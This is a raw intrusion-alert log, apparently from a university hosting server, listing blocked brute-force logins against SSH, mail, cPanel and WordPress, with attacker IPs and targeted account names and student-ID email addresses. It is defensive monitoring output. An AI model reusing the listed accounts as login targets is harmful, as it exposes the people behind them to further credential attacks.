Jan 29 22:45:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.0.117.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.255.40.192
description:
2025-01-29 22:45:39 dovecot_login authenticator failed for (31094-49731.bacloud.info.) [36.255.40.192]:63803: 535 Incorrect authentication data (set_id=eng19b00204@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 162.214.201.195
description:
Jan 29 22:45:13 ait sshd[538513]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=162.214.201.195  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.0.117.219
description:
2025-01-29 22:45:35 dovecot_login authenticator failed for ([127.0.0.1]) [152.0.117.219]:56452: 535 Incorrect authentication data (set_id=jpomador@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.9.164.92
description:
[2025-01-29 22:45:51 +0100] info [webmaild] 38.9.164.92 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.157.227
description:
Jan 29 22:45:26 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.157.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.62
description:
2025-01-29 22:45:31 dovecot_plain authenticator failed for (m121-202-154-62.smartone.com) [121.202.154.62]:32616: 535 Incorrect authentication data (set_id=jessica1234)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.137.38.119
description:
Jan 29 22:45:52 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.137.38.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.207.231.65
description:
2025-01-29 22:45:30 dovecot_plain authenticator failed for ([111.207.231.67]) [111.207.231.65]:14195: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.198.138.148
description:
2025-01-29 22:45:36 dovecot_plain authenticator failed for ([120.198.138.148]) [120.198.138.148]:41822: 535 Incorrect authentication data (set_id=bsemaha)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.183.78.235
description:
2025-01-29 22:45:45 dovecot_login authenticator failed for ([127.0.0.1]) [59.183.78.235]:52834: 535 Incorrect authentication data (set_id=jpomador)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.115.112.77
description:
Jan 29 22:45:07 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.115.112.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.214.201.195
description:
Jan 29 22:45:13 ait sshd[538513]: pam_imunify(sshd:auth): [IM360_RBL] The IP 162.214.201.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
description:
2025-01-29 22:45:24 dovecot_plain authenticator failed for ([121.159.71.249]) [121.159.71.249]:33008: 535 Incorrect authentication data (set_id=bsemaha@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.207.231.65
description:
Jan 29 22:45:28 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.207.231.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.75.172.163
description:
2025-01-29 22:45:13 dovecot_plain authenticator failed for ([220.75.172.163]) [220.75.172.163]:43878: 535 Incorrect authentication data (set_id=eharry@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.62
description:
Jan 29 22:45:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.115.112.77
description:
2025-01-29 22:45:09 dovecot_plain authenticator failed for ([123.115.112.77]) [123.115.112.77]:57186: 535 Incorrect authentication data (set_id=jessica1234@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.157.227
description:
2025-01-29 22:45:28 dovecot_plain authenticator failed for (bisomy) [65.20.157.227]:39591: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.183.78.235
description:
Jan 29 22:45:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.183.78.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.198.138.148
description:
Jan 29 22:45:34 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.198.138.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.137.38.119
description:
2025-01-29 22:45:54 dovecot_plain authenticator failed for ([36.137.38.119]) [36.137.38.119]:48376: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.99.153.21
description:
2025-01-29 22:46:06 dovecot_plain authenticator failed for ([59.99.153.21]) [59.99.153.21]:52966: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.92.0.201
description:
Jan 29 22:46:11 ait sshd[538941]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.201  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 22:46:16 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.96.102.135
description:
[2025-01-29 22:46:31 +0100] info [webmaild] 190.96.102.135 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.233.10.245
description:
2025-01-29 22:45:56 dovecot_login authenticator failed for (31094-49731.bacloud.info.) [190.233.10.245]:52020: 535 Incorrect authentication data (set_id=ads17a00060y@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.40.116
description:
47.128.40.116 - - [29/Jan/2025:22:46:01 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=22978162 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=61%2C205%2C30&filter_course-language=121%2C79&filtering=1&instructor=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.40.116


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.99.153.21
description:
Jan 29 22:46:04 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.99.153.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.0.201
description:
Jan 29 22:46:11 ait sshd[538941]: pam_imunify(sshd:auth): [IM360_RBL] The IP 218.92.0.201 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.94.211.71
description:
[2025-01-29 22:47:02 +0100] info [webmaild] 197.94.211.71 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.254.161.141
description:
[2025-01-29 22:47:05 +0100] info [webmaild] 170.254.161.141 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.84.126.58
description:
[2025-01-29 22:47:33 +0100] info [webmaild] 170.84.126.58 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 65.109.164.46
domain: mail.ait-open.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:nii-quaye||WPU:nii-quaye||RSV:6.65||T:APACHE||MV:22-47.65.109.164.46


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:22-48.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 22:48:18 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 92.39.220.228
description:
[2025-01-29 22:49:01 +0100] info [webmaild] 92.39.220.228 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 22:49:39 ait sshd[540167]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 22:49:39 ait sshd[540167]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.190.91.20
description:
Jan 29 22:50:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.190.91.20 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 61.6.195.149
description:
[2025-01-29 22:50:36 +0100] info [webmaild] 61.6.195.149 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.41.211.48
description:
Jan 29 22:50:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.41.211.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
description:
2025-01-29 22:50:41 dovecot_login authenticator failed for 48.211.41.34.bc.googleusercontent.com [34.41.211.48]:52866: 535 Incorrect authentication data (set_id=ixlqnabzu@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.143.241.150
description:
Jan 29 22:50:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.143.241.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.143.241.150
description:
2025-01-29 22:50:51 dovecot_login authenticator failed for ([61.143.241.150]) [61.143.241.150]:52480: 535 Incorrect authentication data (set_id=ixlqnabzu)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 22:50:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.110.10.192
description:
Jan 29 22:50:09 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.110.10.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.53
description:
Jan 29 22:51:25 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.53
description:
2025-01-29 22:51:27 dovecot_plain authenticator failed for ([178.178.222.53]) [178.178.222.53]:39946: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.232.28.136
description:
[2025-01-29 22:51:33 +0100] info [webmaild] 188.232.28.136 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.71.82
description:
Jan 29 22:51:34 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.71.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
description:
2025-01-29 22:51:36 dovecot_plain authenticator failed for ([182.76.71.82]) [182.76.71.82]:50634: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.28.91.63
description:
[2025-01-29 22:51:56 +0100] info [webmaild] 189.28.91.63 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.126.233.12
description:
[2025-01-29 22:52:46 +0100] info [webmaild] 177.126.233.12 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 22:52:51 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 22:53:28 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.80.226.18
description:
[2025-01-29 22:53:39 +0100] info [webmaild] 185.80.226.18 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 22:53:53 ait sshd[541715]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 22:53:53 ait sshd[541715]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.161.249.87
description:
[2025-01-29 22:53:01 +0100] info [webmaild] 45.161.249.87 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 22:53:06 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 22:54:17 ait sshd[541768]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.72.59.106
description:
Jan 29 22:54:41 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.72.59.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
description:
2025-01-29 22:54:43 dovecot_plain authenticator failed for ([121.128.76.109]) [61.72.59.106]:35353: 535 Incorrect authentication data (set_id=eng18a00033y@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 185.187.50.49
description:
Jan 29 22:53:55 ait sshd[541715]: Failed password for invalid user ijari from 185.187.50.49 port 46734 ssh2


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.10.2.203
description:
[2025-01-29 22:54:13 +0100] info [webmaild] 189.10.2.203 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 22:54:17 ait sshd[541768]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 22:54:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.165.23
description:
Jan 29 22:54:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.165.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.165.23
description:
2025-01-29 22:54:55 dovecot_plain authenticator failed for ([45.118.165.23]) [45.118.165.23]:56287: 535 Incorrect authentication data (set_id=eng18a00033y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.238.124.72
description:
[2025-01-29 22:55:34 +0100] info [webmaild] 201.238.124.72 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.14.203.76
description:
[2025-01-29 22:55:37 +0100] info [webmaild] 186.14.203.76 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.212.232
description:
2025-01-29 22:56:38 dovecot_login authenticator failed for ([196.191.212.232]) [196.191.212.232]:57240: 535 Incorrect authentication data (set_id=taisiaokmar@aitopen.us)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.46.57.85
description:
[2025-01-29 22:56:25 +0100] info [webmaild] 181.46.57.85 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.191.212.232
description:
Jan 29 22:56:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.191.212.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.217.141.77
description:
Jan 29 22:56:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.217.141.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.217.141.77
description:
2025-01-29 22:56:59 dovecot_login authenticator failed for (206-217-141-77-host.colocrossing.com) [206.217.141.77]:42694: 535 Incorrect authentication data (set_id=taisiaokmar)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.26.136.12
description:
[2025-01-29 22:57:26 +0100] info [cpaneld] 154.26.136.12 - lemassne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.92.61.242
description:
Jan 29 22:57:34 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.92.61.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.92.61.242
description:
2025-01-29 22:57:36 dovecot_plain authenticator failed for ([222.92.61.242]) [222.92.61.242]:42161: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.215.254.115
description:
Jan 29 22:57:44 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.215.254.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 132.255.235.250
description:
[2025-01-29 22:57:53 +0100] info [webmaild] 132.255.235.250 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 22:57:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.134.201.237
description:
[2025-01-29 22:57:13 +0100] info [webmaild] 186.134.201.237 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.204.41.70
description:
Jan 29 22:57:45 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.204.41.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.215.254.115
description:
2025-01-29 22:57:46 dovecot_plain authenticator failed for 217-215-254-115-no2460.tbcn.telia.com (archals) [217.215.254.115]:39716: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.204.41.70
description:
2025-01-29 22:57:47 dovecot_plain authenticator failed for ([183.204.41.70]) [183.204.41.70]:58180: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:22-58.80.76.51.123


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.70.65.20
description:
2025-01-29 22:58:27 dovecot_login authenticator failed for ([127.0.0.1]) [178.70.65.20]:52237: 535 Incorrect authentication data (set_id=mensah@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.249.157.222
description:
[2025-01-29 22:58:18 +0100] info [webmaild] 186.249.157.222 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 22:58:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.77.211.174
description:
Jan 29 22:58:30 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.77.211.174 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.1.38.203
description:
[2025-01-29 22:58:06 +0100] info [webmaild] 187.1.38.203 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.82.60.231
description:
[2025-01-29 22:58:30 +0100] info [webmaild] 41.82.60.231 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.77.211.174
description:
2025-01-29 22:58:32 dovecot_login authenticator failed for ([127.0.0.1]) [5.77.211.174]:35596: 535 Incorrect authentication data (set_id=mensah)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.178.20
description:
Jan 29 22:58:46 ait sshd[543773]: pam_imunify(sshd:auth): [IM360_RBL] The IP 64.23.178.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 22:58:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.70.65.20
description:
Jan 29 22:58:25 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.70.65.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 64.23.178.20
description:
Jan 29 22:58:46 ait sshd[543773]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=64.23.178.20


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.205.235.94
description:
Jan 29 22:59:19 ait sshd[543963]: pam_imunify(sshd:auth): [IM360_RBL] The IP 119.205.235.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.229.10.138
description:
Jan 29 22:59:45 ait sshd[544245]: pam_imunify(sshd:auth): [IM360_RBL] The IP 121.229.10.138 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 121.229.10.138
description:
Jan 29 22:59:45 ait sshd[544245]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.229.10.138


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.236.253.20
description:
Jan 29 22:59:30 ait sshd[544199]: pam_imunify(sshd:auth): [IM360_RBL] The IP 104.236.253.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 104.236.253.20
description:
Jan 29 22:59:30 ait sshd[544199]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.236.253.20


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 119.205.235.94
description:
Jan 29 22:59:19 ait sshd[543963]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=119.205.235.94  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.127.7.236
description:
[2025-01-29 23:00:15 +0100] info [webmaild] 103.127.7.236 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-00.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.173.218.7
description:
Jan 29 23:00:25 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.173.218.7 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.43.119
description:
47.128.43.119 - - [29/Jan/2025:23:00:35 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=3376854 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/5/?duration=short&filter_course-category=205&filtering=1&level=intermediate%2Cbeginner%2Cexpert" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.43.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.31.30.115
description:
Jan 29 23:00:10 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.31.30.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.31.30.115
description:
2025-01-29 23:00:12 dovecot_plain authenticator failed for ([5.31.30.115]) [5.31.30.115]:40084: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.218.7
description:
2025-01-29 23:00:27 dovecot_plain authenticator failed for ([60.173.218.7]) [60.173.218.7]:36521: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 64.23.178.20
description:
Jan 29 23:01:49 ait sshd[545119]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=64.23.178.20


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.236.253.20
description:
